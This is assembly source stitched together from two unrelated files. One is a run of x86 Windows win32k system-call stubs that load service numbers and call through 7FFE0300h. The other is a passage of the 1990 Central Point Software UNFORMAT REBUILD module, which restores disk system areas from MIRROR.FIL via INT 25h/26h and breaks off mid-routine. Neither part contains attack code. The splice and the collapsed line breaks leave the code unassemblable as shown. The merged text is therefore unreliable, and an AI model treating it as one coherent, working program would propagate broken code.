STDCALL arg_01:DWORD mov eax , 4888 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiDdDDISharedPrimaryUnLockNotification ENDP ; ULONG __stdcall NtGdiDdDDICreateKeyedMutex( ULONG arg_01 ); NtGdiDdDDICreateKeyedMutex PROC STDCALL arg_01:DWORD mov eax , 4889 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiDdDDICreateKeyedMutex ENDP ; ULONG __stdcall NtGdiDdDDIOpenKeyedMutex( ULONG arg_01 ); NtGdiDdDDIOpenKeyedMutex PROC STDCALL arg_01:DWORD mov eax , 4890 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiDdDDIOpenKeyedMutex ENDP ; ULONG __stdcall NtGdiDdDDIDestroyKeyedMutex( ULONG arg_01 ); NtGdiDdDDIDestroyKeyedMutex PROC STDCALL arg_01:DWORD mov eax , 4891 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiDdDDIDestroyKeyedMutex ENDP ; ULONG __stdcall NtGdiDdDDIAcquireKeyedMutex( ULONG arg_01 ); NtGdiDdDDIAcquireKeyedMutex PROC STDCALL arg_01:DWORD mov eax , 4892 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiDdDDIAcquireKeyedMutex ENDP ; ULONG __stdcall NtGdiDdDDIReleaseKeyedMutex( ULONG arg_01 ); NtGdiDdDDIReleaseKeyedMutex PROC STDCALL arg_01:DWORD mov eax , 4893 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiDdDDIReleaseKeyedMutex ENDP ; ULONG __stdcall NtGdiDdDDIConfigureSharedResource( ULONG arg_01 ); NtGdiDdDDIConfigureSharedResource PROC STDCALL arg_01:DWORD mov eax , 4894 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiDdDDIConfigureSharedResource ENDP ; ULONG __stdcall NtGdiDdDDIGetOverlayState( ULONG arg_01 ); NtGdiDdDDIGetOverlayState PROC STDCALL arg_01:DWORD mov eax , 4895 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiDdDDIGetOverlayState ENDP ; ULONG __stdcall NtGdiDdDDICheckVidPnExclusiveOwnership( ULONG arg_01 ); NtGdiDdDDICheckVidPnExclusiveOwnership PROC STDCALL arg_01:DWORD mov eax , 4896 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiDdDDICheckVidPnExclusiveOwnership ENDP ; ULONG __stdcall NtGdiDdDDICheckSharedResourceAccess( ULONG arg_01 ); NtGdiDdDDICheckSharedResourceAccess PROC STDCALL arg_01:DWORD mov eax , 4897 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiDdDDICheckSharedResourceAccess ENDP ; ULONG __stdcall DxgStubDvpReleaseNotification( ULONG arg_01 , ULONG arg_02 ); DxgStubDvpReleaseNotification PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4898 mov edx , 7FFE0300h call dword ptr [edx] ret 8 DxgStubDvpReleaseNotification ENDP ; ULONG __stdcall DxgStubValidateTextureStageState( ULONG arg_01 ); DxgStubValidateTextureStageState PROC STDCALL arg_01:DWORD mov eax , 4899 mov edx , 7FFE0300h call dword ptr [edx] ret 4 DxgStubValidateTextureStageState ENDP ; ULONG __stdcall NtGdiGetNumberOfPhysicalMonitors( ULONG arg_01 , ULONG arg_02 ); NtGdiGetNumberOfPhysicalMonitors PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4900 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtGdiGetNumberOfPhysicalMonitors ENDP ; ULONG __stdcall NtGdiGetPhysicalMonitors( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 ); NtGdiGetPhysicalMonitors PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD mov eax , 4901 mov edx , 7FFE0300h call dword ptr [edx] ret 16 NtGdiGetPhysicalMonitors ENDP ; ULONG __stdcall NtGdiGetPhysicalMonitorDescription( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtGdiGetPhysicalMonitorDescription PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4902 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtGdiGetPhysicalMonitorDescription ENDP ; ULONG __stdcall DestroyPhysicalMonitor( ULONG arg_01 ); DestroyPhysicalMonitor PROC STDCALL arg_01:DWORD mov eax , 4903 mov edx , 7FFE0300h call dword ptr [edx] ret 4 DestroyPhysicalMonitor ENDP ; ULONG __stdcall NtGdiDDCCIGetVCPFeature( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 ); NtGdiDDCCIGetVCPFeature PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD mov eax , 4904 mov edx , 7FFE0300h call dword ptr [edx] ret 20 NtGdiDDCCIGetVCPFeature ENDP ; ULONG __stdcall NtGdiDDCCISetVCPFeature( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtGdiDDCCISetVCPFeature PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4905 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtGdiDDCCISetVCPFeature ENDP ; ULONG __stdcall NtGdiDDCCISaveCurrentSettings( ULONG arg_01 ); NtGdiDDCCISaveCurrentSettings PROC STDCALL arg_01:DWORD mov eax , 4906 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiDDCCISaveCurrentSettings ENDP ; ULONG __stdcall NtGdiDDCCIGetCapabilitiesStringLength( ULONG arg_01 , ULONG arg_02 ); NtGdiDDCCIGetCapabilitiesStringLength PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4907 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtGdiDDCCIGetCapabilitiesStringLength ENDP ; ULONG __stdcall NtGdiDDCCIGetCapabilitiesString( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtGdiDDCCIGetCapabilitiesString PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4908 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtGdiDDCCIGetCapabilitiesString ENDP ; ULONG __stdcall NtGdiDDCCIGetTimingReport( ULONG arg_01 , ULONG arg_02 ); NtGdiDDCCIGetTimingReport PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4909 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtGdiDDCCIGetTimingReport ENDP ; ULONG __stdcall NtGdiDdCreateFullscreenSprite( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 ); NtGdiDdCreateFullscreenSprite PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD mov eax , 4910 mov edx , 7FFE0300h call dword ptr [edx] ret 16 NtGdiDdCreateFullscreenSprite ENDP ; ULONG __stdcall NtGdiDdNotifyFullscreenSpriteUpdate( ULONG arg_01 , ULONG arg_02 ); NtGdiDdNotifyFullscreenSpriteUpdate PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4911 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtGdiDdNotifyFullscreenSpriteUpdate ENDP ; ULONG __stdcall NtGdiDdDestroyFullscreenSprite( ULONG arg_01 , ULONG arg_02 ); NtGdiDdDestroyFullscreenSprite PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4912 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtGdiDdDestroyFullscreenSprite ENDP ; ULONG __stdcall NtGdiDdQueryVisRgnUniqueness( ); NtGdiDdQueryVisRgnUniqueness PROC STDCALL mov eax , 4913 mov edx , 7FFE0300h call dword ptr [edx] ret NtGdiDdQueryVisRgnUniqueness ENDP ; ULONG __stdcall NtUserSetMirrorRendering( ULONG arg_01 , ULONG arg_02 ); NtUserSetMirrorRendering PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4914 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtUserSetMirrorRendering ENDP ; ULONG __stdcall NtUserShowSystemCursor( ULONG arg_01 ); NtUserShowSystemCursor PROC STDCALL arg_01:DWORD mov eax , 4915 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtUserShowSystemCursor ENDP ; ULONG __stdcall NtUserMagControl( ULONG arg_01 , ULONG arg_02 ); NtUserMagControl PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4916 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtUserMagControl ENDP ; ULONG __stdcall NtUserMagSetContextInformation( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 ); NtUserMagSetContextInformation PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD mov eax , 4917 mov edx , 7FFE0300h call dword ptr [edx] ret 16 NtUserMagSetContextInformation ENDP ; ULONG __stdcall NtUserMagGetContextInformation( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 ); NtUserMagGetContextInformation PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD mov eax , 4918 mov edx , 7FFE0300h call dword ptr [edx] ret 16 NtUserMagGetContextInformation ENDP ; ULONG __stdcall NtUserHwndQueryRedirectionInfo( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 ); NtUserHwndQueryRedirectionInfo PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD mov eax , 4919 mov edx , 7FFE0300h call dword ptr [edx] ret 16 NtUserHwndQueryRedirectionInfo ENDP ; ULONG __stdcall NtUserHwndSetRedirectionInfo( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 ); NtUserHwndSetRedirectionInfo PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD mov eax , 4920 mov edx , 7FFE0300h call dword ptr [edx] ret 16 NtUserHwndSetRedirectionInfo ENDP
; Copyright 1990 Central Point Software, Inc. ; All rights reserved. ;-------------------------------------------------------------------- ; This is Jim's portion of the program code for REBUILD.COM 4.23+ ; GWD is supporting this, now. ; ; Removed all the dumb stuff regarding 'stand_alone'. GWD. ; Now 'INCLUDEs' the messages, instead of EXTRNing them. 4-19-88 GWD. ; Added the dumb stuff that handles large disks that req ; more than two controls records. 4-25-88 JIM. ; Created equates for YES_CHAR and NO_CHAR (helps foreign vers) 5-24-88 GWD. ; Substituted YES_CHAR etc, for all the Y's and N's. 6-7-88. ; To fix problem with UnFormat finding parts of MIRROR.FIL as ; subdirectories (Ack!), MIRROR.COM now pokes an FF into each ; root entry at offset 21. Added code here to undo that 6-8-88 v4.24. ; Now handles different DOS 4.xx DPB structure. 4.30 7-27-88. ; Now recognizes Zenith 3.30 DOS (like 3.31, huge partns). 5.00 11-18-88. ; Fixed date/time formats for foreign countries. 5.5 5-25-89. ; During long search for control file, checks for Ctrl-C. 5.5 5-30-89. ; Translation-equates LAST_CHAR, PRIOR_, ABORT_, RETRY_, etc. v6 03-05-90. ; ; M000 MD 9/23/90 Removed output of CPS copyright ; M002 MD Exit properly on user request PAGE 66,132 DOSEXEC MACRO INT 21H ENDM ; LIST_COUNT EQU WORD PTR DS:[SI]+18 ; XLAT_TABLE EQU WORD PTR DS:[SI]+20 str1 STRUC DB 18 DUP (?) list_count DW ? xlat_table DW ? str1 ENDS ; str2 STRUC from_lsn_lo DW ? from_lsn_hi DW ? to_lsn_lo DW ? to_lsn_hi DW ? str2 ENDS ; used to build the sector table ; FROM_LSN_LO EQU WORD PTR DS:[BX] ; FROM_LSN_HI EQU WORD PTR DS:[BX]+2 ; TO_LSN_LO EQU WORD PTR DS:[BX]+4 ; TO_LSN_HI EQU WORD PTR DS:[BX]+6 prog SEGMENT PARA PUBLIC ASSUME CS:prog ; PUBLIC J_REBUILD ;Referenced from UF_MAIN module. ; EXTRN date_control:word, date_separator:byte ;In UF_IO module. ; INCLUDE uf_jmsg.asm HIGHEST_CLUSTER DW 0 SECTOR_SIZE DW 0 NUM_SECTORS_TO_HANDLE DW 0 NUM_BOOT_FAT_SECTORS DW 0 NUM_DIR_SECTORS DW 0 FIRST_DIRECTORY_SECTOR DW 0 HARD_WAY_SECTOR_NUM_LO DW 0 HARD_WAY_SECTOR_NUM_HI DW 0 ABS_25_LIST LABEL BYTE ABS_25_SEC_LO DW 0 ABS_25_SEC_HI DW 0 ABS_25_COUNT DW 0 ABS_25_OFF DW 0 ABS_25_SEG DW 0 MIRROR_SWITCH DB 0 ABS_25_HARD_WAY EQU 80H SECTORS_PER_CLU DW 0 FIRST_DATA_SECTOR DW 0 LAST_SECTOR_LO DW 0 LAST_SECTOR_HI DW 0 IO_AREA_PTR DW 0 dont_fix_cnt DW 0 R_INFO EQU $ R_CTL1_LSN_LO DW 0 ;*** R_CTL1_LSN_HI DW 0 ; ; Gotta keep this stuff for COMPAQ DOS 3.31 >32 Meg R_CTL2_LSN_LO DW 0 ; R_CTL2_LSN_HI DW 0 ;*** R_SECTOR_SIZE DW 0 R_NUM_SECTORS_TO_HANDLE DW 0 R_NUM_BOOT_FAT_SECTORS DW 0 R_NUM_DIR_SECTORS DW 0 R_FIRST_DIRECTORY_SECTOR DW 0 R_HEADS DW 0 R_NUM_FATS DB 0 R_NUM_RESERVED DW 0 R_SECTORS_PER_CLU DB 0 R_SECTORS_PER_TRACK DW 0 R_NUM_HIDDEN DW 0 R_NUM_CTL_SECTORS DW 0 ; 4/24/88 R_ALT_SECTOR_SIZE DW 0 ; 4/24/88 DB 16 DUP(0) ORG R_INFO+48 R_INFO_LEN EQU $-R_INFO CS_SAVE DW 0 AX_SAVE DW 0 BX_SAVE DW 0 PSP_SAVE DW 0 OK_DWORD DD 0 ORG OK_DWORD OK_OFFSET DW 0 OK_SEGMENT DW 0 NAMES DB 'MIRROR FIL' DB 'MIRROR BAK' DB 'MIRORSAVFIL' ASCIIZ DB 'x:\' DB 'MIRROR.FIL',0 CHECKS_FOR_OUR_MIRROR_FILE DW 0 MAX_MIRROR_CLUSTERS DW 0 MIRROR_HI_CLU DW 0 OUR_SIGNATURE DB 'aMSESLIFVASRORIMESAEP' OUR_SIGNATURE_LEN EQU $-OUR_SIGNATURE MIRROR_YEAR_1 EQU OUR_SIGNATURE_LEN+4 MIRROR_MODAY_1 EQU OUR_SIGNATURE_LEN+4+2 MIRROR_TIME_1 EQU OUR_SIGNATURE_LEN+4+4 MIRROR_LSN_LO_2 EQU OUR_SIGNATURE_LEN+4+6 MIRROR_LSN_HI_2 EQU OUR_SIGNATURE_LEN+4+8 MIRROR_YEAR_2 EQU OUR_SIGNATURE_LEN+4+10 MIRROR_MODAY_2 EQU OUR_SIGNATURE_LEN+4+12 MIRROR_TIME_2 EQU OUR_SIGNATURE_LEN+4+14 SEC_LO_FROM_MIRROR_1 DW 0 SEC_HI_FROM_MIRROR_1 DW 0 TIME_FROM_MIRROR_1 DW 0FFFFH YEAR_FROM_MIRROR_1 DW 0 MODAY_FROM_MIRROR_1 DW 0 SEC_LO_FROM_MIRROR_2 DW 0 SEC_HI_FROM_MIRROR_2 DW 0 TIME_FROM_MIRROR_2 DW 0 YEAR_FROM_MIRROR_2 DW 0 MODAY_FROM_MIRROR_2 DW 0 SWITCH DB 0 JUST_CHECK EQU 80H INIT_F_O_F EQU 40H MATCH_FOUND EQU 20H DRIVE_FIXED EQU 10H REPORT_ERRORS EQU 08H GOT_TWO_FILES EQU 04H HARD_WAY EQU 02H ESCAPE_PRESSED EQU 01H CHECK_FAILED DW 0 EXIT_ERROR DB 0 ; 1 = ALL OK ; 2 = USER CANCELLED ; 3 = DID NOT RUN SUCCESSFULLY. DID NOT MODIFY ; 4 = DID NOT RUN SUCCESSFULLY. DID MODIFY ; 5 = STRANGE ENVIRONMENT OR DISK ; 6 = PANIC EXIT, ABORT MAIN PROGRAM DOS_VERSION DW 0 K_ESCAPE EQU 27 ABS_SECTOR_LO DW 0 ABS_SECTOR_HI DW 0 NO_COPYRIGHT equ 00h ;M000 COPYRIGHT DB 10,13 DB "REBUILD " ;M000 DB 24h H_E_SECTOR_NUM DB '0000000.$' J_REBUILD PROC NEAR MOV IO_AREA_PTR,BX ADD AL,41H MOV ASCIIZ,AL MOV drive_msg_patch,AL ;5-24-88 GWD. MOV WANNA_DRIVE,AL MOV SUCC_DRIVE,AL MOV SUCC_ALT_D,AL MOV CS_SAVE,CS MOV OUR_SIGNATURE,'A' CALL ISSUE_COPYRIGHT CMP AH,0 JE J_REBUILD_1 OR SWITCH,JUST_CHECK LEA DX,JUST_CHECKING_MSG MOV DS,CS_SAVE MOV AH,9 DOSEXEC J_REBUILD_1: CALL CHECK_OBVIOUS_STUFF MOV EXIT_ERROR,5 ; 5 = STRANGE ENVIRONMENT OR DISK JNC START_REBUILD JMP BAIL_OUT START_REBUILD: MOV AH,0DH DOSEXEC LOOK_SOME_MORE: MOV EXIT_ERROR,2 ;M002 - Set error for user cancel TEST SWITCH,ESCAPE_PRESSED JNZ BAIL_OUT CALL FIND_OUR_FILE JC NO_FILE_FOUND OR SWITCH,MATCH_FOUND CALL VERIDATE_FILE JC LOOK_SOME_MORE OR SWITCH,REPORT_ERRORS CALL RE_BUILD_SYSTEM_AREA JC BAIL_OUT LEA DX,FAILED_CHK CMP CHECK_FAILED,0 ; works only if all files in the JA FINAL_MSG ; same sector LEA DX,SUCC TEST SWITCH,JUST_CHECK JZ FINAL_MSG LEA DX,SUCC_ALT FINAL_MSG: MOV DS,CS_SAVE MOV AH,9 DOSEXEC MOV AH,0DH DOSEXEC MOV EXIT_ERROR,1 ; 1 = ALL OK MOV AL,EXIT_ERROR RET NO_FILE_FOUND: LEA DX,USER_CANCELLED ; 3 = DID NOT RUN SUCCESSFULLY. DID NOT MODIFY CMP EXIT_ERROR,3 JNE STC_EXIT LEA DX,NO_FILE TEST SWITCH,HARD_WAY JNZ STC_EXIT TEST SWITCH,MATCH_FOUND JZ STC_EXIT LEA DX,BAD_FILE STC_EXIT: MOV DS,CS_SAVE MOV AH,9 DOSEXEC BAIL_OUT: LEA DX,PROBLEMS MOV AH,9 DOSEXEC MOV AH,0DH DOSEXEC MOV AL,EXIT_ERROR RET J_REBUILD ENDP ISSUE_COPYRIGHT PROC NEAR PUSH AX MOV DS,CS_SAVE LEA DX,REBUILD_MAIN_MSG ; This will print the other part MOV AH,9 ; of the message DOSEXEC POP AX RET ISSUE_COPYRIGHT ENDP VERIDATE_FILE PROC NEAR CALL INSERT_DATE TEST SWITCH,GOT_TWO_FILES JZ VERIDATE_FIRST CALL ASK_WITCH_FILE JNC VERIDATE_FIRST TEST SWITCH,ESCAPE_PRESSED JNZ V_F_STC_JMP MOV AX,SEC_LO_FROM_MIRROR_2 ; where its at man MOV ABS_25_SEC_LO,AX MOV AX,SEC_HI_FROM_MIRROR_2 ; where its at man MOV ABS_25_SEC_HI,AX JMP short VERIDATE_SECOND VERIDATE_FIRST: MOV AX,SEC_LO_FROM_MIRROR_1 ; where its at man MOV ABS_25_SEC_LO,AX MOV AX,SEC_HI_FROM_MIRROR_1 ; where its at man MOV ABS_25_SEC_HI,AX VERIDATE_SECOND: MOV BX,IO_AREA_PTR MOV CX,1 CALL ABS_25 MOV DS,CS_SAVE MOV ES,CS_SAVE LEA DI,R_INFO MOV SI,IO_AREA_PTR ADD SI,R_IO_INFO_OFFSET MOV CX,R_INFO_LEN REP MOVSB MOV AX,R_SECTOR_SIZE CMP AX,SECTOR_SIZE JE V_F_1 ; Note, if R_SECTOR_SIZE is zero and the new field, R_NUM_CTL_SECTORS is ; two or greater, then we'll assume we have the new style that handles ; large multi-megabyte hard disks. CMP R_SECTOR_SIZE,0 JNE V_F_STC_JMP CMP R_NUM_CTL_SECTORS,2 JB V_F_STC_JMP MOV AX,R_ALT_SECTOR_SIZE MOV R_SECTOR_SIZE,AX CMP AX,SECTOR_SIZE JE V_F_1 V_F_STC_JMP: JMP V_F_STC V_F_1: MOV AX,R_NUM_SECTORS_TO_HANDLE CMP AX,NUM_SECTORS_TO_HANDLE JNE V_F_STC_JMP MOV AX,R_NUM_BOOT_FAT_SECTORS CMP AX,NUM_BOOT_FAT_SECTORS JNE V_F_STC_JMP MOV AX,R_NUM_DIR_SECTORS CMP AX,NUM_DIR_SECTORS JNE V_F_STC_JMP MOV AX,R_FIRST_DIRECTORY_SECTOR CMP AX,FIRST_DIRECTORY_SECTOR JNE V_F_STC_JMP MOV AX,R_CTL1_LSN_LO ; does this record point to CMP ABS_25_SEC_LO,AX ; itself? JNE V_F_STC_JMP MOV AX,R_CTL1_LSN_HI CMP ABS_25_SEC_HI,AX JNE V_F_STC_JMP MOV BX,IO_AREA_PTR MOV OK_OFFSET,BX MOV OK_SEGMENT,DS V_F_READ_CTL_1: MOV AX,R_CTL1_LSN_LO MOV ABS_25_SEC_LO,AX MOV AX,R_CTL1_LSN_HI MOV ABS_25_SEC_HI,AX CMP R_NUM_CTL_SECTORS,2 ; we have the special stuff? JBE V_F_READ_CTL_1_A ; no, branch MOV CX,R_NUM_CTL_SECTORS ; yes, get # ctl sectors MOV AH,0 MOV AL,R_SECTORS_PER_CLU CMP CX,AX ; greater than sectors per clu? JBE V_F_READ_CTL_1_B ; no, branch MOV CX,AX ; yes, force it JMP short V_F_READ_CTL_1_B V_F_READ_CTL_1_A: MOV CX,1 ; old way V_F_READ_CTL_1_B: MOV AX,SECTOR_SIZE MUL CX ADD OK_OFFSET,AX CALL ABS_25 JNC V_F_CTL1_OK JMP short V_F_STC V_F_CTL1_OK: LDS BX,OK_DWORD MOV AX,R_CTL2_LSN_LO MOV ABS_25_SEC_LO,AX MOV AX,R_CTL2_LSN_HI MOV ABS_25_SEC_HI,AX CMP R_NUM_CTL_SECTORS,2 JBE V_F_READ_CTL_2_A MOV CX,R_NUM_CTL_SECTORS MOV AH,0 MOV AL,R_SECTORS_PER_CLU CMP CX,AX JBE V_F_CTL2_OK SUB CX,AX JMP short V_F_READ_CTL_2_B V_F_READ_CTL_2_A: MOV CX,1 V_F_READ_CTL_2_B: MOV AX,SECTOR_SIZE MUL CX ADD OK_OFFSET,AX CALL ABS_25 JC V_F_STC V_F_CTL2_OK: MOV DS,CS_SAVE MOV ES,CS_SAVE CLC RET V_F_STC: TEST SWITCH,HARD_WAY JZ V_F_STC_1 MOV DS,CS_SAVE LEA DX,HARD_WAY_BACKUP_BAD MOV AH,9 DOSEXEC V_F_STC_1: STC RET VERIDATE_FILE ENDP ASK_WITCH_FILE PROC NEAR MOV DS,CS_SAVE LEA DX,WITCH_MSG MOV AH,9 DOSEXEC MOV AX,0C01H DOSEXEC CMP AL,K_ESCAPE JE ASK_WITCH_ESC AND AL,NOT 20H CMP AL,last_char ;'L' JE ASK_WITCH_CLC CMP AL,prior_char ;'P' JE ASK_WITCH_STC JMP ASK_WITCH_FILE ASK_WITCH_CLC: CLC JMP short ASK_WITCH_EXIT ASK_WITCH_ESC: OR SWITCH,ESCAPE_PRESSED ASK_WITCH_STC: STC ASK_WITCH_EXIT: PUSHF LEA DX,LINE_DOWN MOV AH,9 DOSEXEC POPF RET ASK_WITCH_FILE ENDP RE_BUILD_SYSTEM_AREA PROC NEAR RE_BUILD_SYSTEM_AREA_ASK: MOV DS,CS_SAVE LEA DX,LOOKS_GOOD MOV AH,9 DOSEXEC TEST SWITCH,JUST_CHECK JNZ DONT_ASK LEA DX,WANNA_CONT MOV AH,9 DOSEXEC MOV AX,0C01H DOSEXEC CMP AL,K_ESCAPE JE RE_BUILD_ESCAPE AND AL,NOT 20H CMP AL,no_char JE RE_BUILD_ESCAPE CMP AL,yes_char JNE RE_BUILD_SYSTEM_AREA_ASK DONT_ASK: LEA DX,LINE_DOWN MOV AH,9 DOSEXEC MOV SI,IO_AREA_PTR ADD SI,R_CTL_OFFSET LEA BX,word ptr ds:[si].xlat_table MOV BP,word ptr ds:[si].list_count MOV BX_SAVE,BX mov ax,num_boot_fat_sectors mov dont_fix_cnt,ax JMP short RE_BUILD_REPEAT RE_BUILD_ESCAPE: MOV EXIT_ERROR,2 ; 2 = USER CANCELLED LEA DX,LINE_DOWN MOV AH,9 DOSEXEC RE_BUILD_CANCELLED: MOV DS,CS_SAVE LEA DX,USER_CANCELLED MOV AH,9 DOSEXEC STC RET RE_BUILD_REPEAT: MOV BX,BX_SAVE MOV AX,word ptr ds:[bx].to_lsn_lo MOV ABS_25_SEC_LO,AX MOV AX,word ptr ds:[bx].to_lsn_hi MOV ABS_25_SEC_HI,AX MOV CX,1 LDS BX,OK_DWORD CALL ABS_25 JC RE_BUILD_CANCELLED xor ax,ax ;We'll load AX in a moment, anyway. cmp ax,dont_fix_cnt ;Zero? JNE re_build_dont_fix ;Not yet. mov ds:[bx+21], al ;Fix root entry. re_build_dont_fix: MOV BX,BX_SAVE MOV AX,word ptr ds:[bx].from_lsn_lo MOV ABS_25_SEC_LO,AX MOV AX,word ptr ds:[bx].from_lsn_hi MOV ABS_25_SEC_HI,AX MOV CX,1 LDS BX,OK_DWORD TEST SWITCH,JUST_CHECK JZ RE_BUILD_WRITE ADD BX,SECTOR_SIZE CALL ABS_25 JC RE_BUILD_CANCELLED JMP short RE_BUILD_INC RE_BUILD_WRITE: CALL ABS_26 JC RE_BUILD_CANCELLED RE_BUILD_INC: TEST SWITCH,JUST_CHECK JZ RE_BUILD_INC_1 xor ax,ax ;We'll load AX in a moment, anyway. cmp ax,dont_fix_cnt ;Zero? JNE re_build_dont_fix_2 ;Not yet. mov ds:[bx+21], al ;Fix root entry. re_build_dont_fix_2: CALL COMPARE_AREAS RE_BUILD_INC_1: sub dont_fix_cnt,1 adc dont_fix_cnt,0 ;Keep it from going negative. MOV BX,BX_SAVE ADD BX,8 MOV BX_SAVE,BX DEC BP jz re_build_inc_end jmp RE_BUILD_REPEAT re_build_inc_end: ; Now we gotta write the rest of the fats if any DEC R_NUM_FATS JZ RE_BUILD_THRU MOV BP,NUM_BOOT_FAT_SECTORS SUB BP,R_NUM_RESERVED ; # sectors per FAT MOV AX,R_NUM_RESERVED MOV CL,3 SHL AX,CL LEA BX,word ptr ds:[si].xlat_table ADD BX,AX ; point to 1st FAT entry MOV BX_SAVE,BX MOV AX,NUM_BOOT_FAT_SECTORS ; logical sector # next sector RE_BUILD_OTHER_FATS: CALL WRITE_OTHER_FAT_SECTOR JC RE_BUILD_OTHER_BAD ADD BX,8 INC AX DEC BP JNZ RE_BUILD_OTHER_FATS DEC R_NUM_FATS JZ RE_BUILD_THRU MOV BP,NUM_BOOT_FAT_SECTORS SUB BP,R_NUM_RESERVED ; # sectors per FAT MOV BX,BX_SAVE JMP RE_BUILD_OTHER_FATS RE_BUILD_THRU: CLC RET RE_BUILD_OTHER_BAD: STC RET RE_BUILD_SYSTEM_AREA ENDP INSERT_DATE PROC NEAR CMP TIME_FROM_MIRROR_1,0FFFFH JNE INSERT_DATE_CONT RET INSERT_DATE_CONT: MOV AX,TIME_FROM_MIRROR_1 MOV AH,0 CALL HEX_TO_ASCII MOV WORD PTR TIME_MSG+3,AX MOV AX,TIME_FROM_MIRROR_1 MOV AL,AH MOV AH,0 CALL HEX_TO_ASCII MOV WORD PTR TIME_MSG,AX MOV AX,YEAR_FROM_MIRROR_1 SUB AX,1900 cmp ax,100 ;M006 ; anything over 2000 should map back jb got_date_lt_100 ;M006 sub ax,100 ;M006 ; 2000 -> 00 got_date_lt_100: ;M006 CALL HEX_TO_ASCII MOV WORD PTR MODAY_MSG+6,AX MOV AX,MODAY_FROM_MIRROR_1 MOV AH,0 CALL HEX_TO_ASCII MOV WORD PTR MODAY_MSG+3,AX MOV AX,MODAY_FROM_MIRROR_1 MOV AL,AH MOV AH,0 CALL HEX_TO_ASCII MOV WORD PTR MODAY_MSG,AX call fix_date_foreign ;5-25-89 GWD. LEA DX,LAST_MSG MOV AH,9 DOSEXEC LEA DX,DATE_MSG MOV AH,9 DOSEXEC TEST SWITCH,GOT_TWO_FILES JNZ INSERT_DATE_CONT_1 RET INSERT_DATE_CONT_1: MOV AX,TIME_FROM_MIRROR_2 MOV AH,0 CALL HEX_TO_ASCII MOV WORD PTR TIME_MSG+3,AX MOV AX,TIME_FROM_MIRROR_2 MOV AL,AH MOV AH,0 CALL HEX_TO_ASCII MOV WORD PTR TIME_MSG,AX MOV AX,YEAR_FROM_MIRROR_2 SUB AX,1900 cmp ax,100 ;M006 ; anything over 2000 should map back jb got_date_lt_100a ;M006 sub ax,100 ;M006 ; 2000 -> 00 got_date_lt_100a: ;M006 CALL HEX_TO_ASCII MOV WORD PTR MODAY_MSG+6,AX MOV AX,MODAY_FROM_MIRROR_2 MOV AH,0 CALL HEX_TO_ASCII MOV WORD PTR MODAY_MSG+3,AX MOV AX,MODAY_FROM_MIRROR_2 MOV AL,AH MOV AH,0 CALL HEX_TO_ASCII MOV WORD PTR MODAY_MSG,AX call fix_date_foreign ;5-25-89 GWD. LEA DX,PRIOR_MSG MOV AH,9 DOSEXEC LEA DX,DATE_MSG MOV AH,9 DOSEXEC RET INSERT_DATE ENDP ; ;----------------------------------------------------------------- ; Added 5-25-89, GWD. ; ; On entry: MODAY_MSG string is setup like this "MM/DD/YY". ; ; On exit: the string is adjusted for the current country-code. ; (country info was previously obtained by Glen's ; UF_Main module and is stored in Glen's UF_IO module.) ; ; AX is destroyed. ; date_field1 EQU word ptr moday_msg date_sep1 EQU byte ptr moday_msg+2 date_field2 EQU word ptr moday_msg+3 date_sep2 EQU byte ptr moday_msg+5 date_field3 EQU word ptr moday_msg+6 ; fix_date_foreign PROC NEAR mov al,date_separator mov date_sep1,al mov date_sep2,al mov ax,date_control 